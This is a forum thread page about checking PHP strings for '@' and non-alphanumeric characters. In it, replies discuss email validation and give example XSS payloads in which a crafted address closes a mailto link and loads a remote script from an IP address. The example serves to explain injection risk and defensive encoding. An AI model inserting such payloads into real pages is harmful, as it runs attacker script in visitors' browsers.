473,805 Members | 2,137 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

Finding @ in a string, and other items

Ok - I want to check a string for @ in it (Im checking to see if a string
that should contain an email holds a @ )

How would I go about this? preg_match? ereg? strstr?Examples ?

Also - how would I find any non alpha numeric characters in a string so I
can give the user an error message. I dont want any characters besides
alpha-numeric in the strings.
Jul 17 '05
11 2209
I just thought of a reason to validate the syntax of a email address. If the
address is going to be placed in a hyperlink that is displayed publically,
with validation an attacker can inject Javascript into your page:

<a href="mailto: $address">

if $address is "><script src="123.45.2.1/a.js">

then the output becomes

<a href="mailto: "><script src="123.45.2.1/a.js">">

Uzytkownik "John Dunlop" <jo*********@jo hndunlop.info> napisal w wiadomosci
news:MP******** *************** *@News.Individu al.NET...
Rahul Anand wrote:
You can find a regular expression to validate email-address here:

http://www.ex-parrot.com/~pdw/Mail-RFC822-Address.html


This is a Perl module which validates email addresses against the
syntax of RFC822 (obsoleted by RFC2822); the pattern itself will not
match all valid email addresses, despite its complexity.
Try using this if it worth using for your email-validation :)


Validating the syntax of an email address and finding it exists is
not proof of it being in use. If you'd like to know that what a user
entered is really her email address, then a confirmation mail is the
best way, as both the CGI FAQ and the Mail::RFC822::A ddress
documentation recommend.

--
Jock

Jul 17 '05 #11
Chung Leong wrote upsidedown:
I just thought of a reason to validate the syntax of a email address. If the
address is going to be placed in a hyperlink that is displayed publically,
with validation an attacker can inject Javascript into your page:

<a href="mailto: $address">

if $address is "><script src="123.45.2.1/a.js">

then the output becomes

<a href="mailto: "><script src="123.45.2.1/a.js">">


If you're inserting user-supplied data into your document, and only
checking said data conforms to RFC(2)822 address syntax, you've still
got problems. Imagine this syntactically valid address in the
situation above:

"><script src='scheme:123 .45.2.1/a.js'>"@domain. example

(It's essential to use an absolute URI, otherwise the src value will
be interpreted as a relative URI. Adding the required type
attribute, obligatory SCRIPT end-tag, and the A element's end-tag,
could conceivably result in a valid document!)

Presumably, however, if the address is to be used as part of an URL,
you'd URL encode it, after separating it into its component parts.
This is a hypothetical discussion. :-)

--
Jock
Jul 17 '05 #12

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

8
2064
by: Mr. B | last post by:
I'm writing an app where I'm trying to look for and List all specific file 'types' found. So I point to a specific start top level Folder... and I want to drill down through ALL sub folders to find file types (using File Extenion). All found DWG files are listed in "lbDwgList" Listbox. I can get the top level and the 'immediate' level below the top level... but I can't figure out how to keep going down X levels (ie: All sub-levels). ...
6
7580
by: Tarun | last post by:
Hi All, I need to find a particular substring in a binary string(some text appended & prepended to binary data). I cant use strstr since it terminates on receiving '\0'which can be there in binary data also I cant use memmem. Is there any other available function to do this. Regards Tarun
10
1759
by: tshad | last post by:
I have a Datagrid with a column: <asp:HyperLinkColumn DataTextField="JobTitle" DataNavigateUrlField="PositionID" DataNavigateUrlFormatString="AddNewPositions.aspx?PositionID={0}" HeaderText="Job Title" Visible="True" SortExpression="JobTitle"/>
12
5421
by: Mike Smith | last post by:
Hey anyone knows how to find an item in a list view based on text ? Cant seem to get the IndexOf method working. would the LVM_FINDITEM method using SendMessage API work in .Net ?
0
1252
by: Sridhar | last post by:
Hi, I have a datagrid which contains some bound columns, some template columns. The template columns contain text box in one column, Hyperlink column in other column, dropdownlist in another column etc. Now I would like to read the values in each of these columns. Inorder to read those I am doing string text1 = CType(datagrid1.Items(0).cells(0).controls(0), TextBox).Text string text2 = CType(datagrid1.Items(0).cells(1).controls(0),...
2
2856
by: ElkGroveR | last post by:
Hi there! I'm using PHP to create a simple, dynamic MySQL SELECT query. The user chooses a selection from a HTML Form SELECT element's many options and submits the form via a POST action. The SELECT query is built as follows: $itemtype = stripslashes(trim($_POST));
1
1690
by: Simon Forman | last post by:
I've got a function that I'd like to improve. It takes a list of lists and a "target" element, and it returns the set of the items in the lists that appear either before or after the target item. (Actually, it's a generator, and I use the set class outside of it to collect the unique items, but you get the idea. ;-) ) data = , , ,
7
9085
by: Brad Baker | last post by:
I am trying to programmatically set a placeholder control in csharp which is nested inside a repeater control between <ItemTemplateand </ItemTemplate> tags, however I am running into problems. I've tried several different approaches for finding the placeholder: This: MyControl = this.FindControl("$form$tabs_repeater$PlaceHolder1"); Produces this error: Object reference not set to an instance of an object.
4
1730
by: Cralis | last post by:
I have a Combo box, populated from a List<Objects>. The Object has a .name, and .id property. The combo box has been populated with these using DisplayMember and ValueMember. When I load the screen, and am editing an item, the combo must go to the correct 'Manufacturer' that the main screen wants to see. This is based on a Model object I have. The model has a manufacturer. So, I populate the combo with the possible Manufacturers, but...
0
9596
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
0
10613
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...
1
10368
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
9186
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
1
7649
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules. He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms. Adolph will...
0
5678
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
1
4327
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
2
3846
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.
3
3008
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.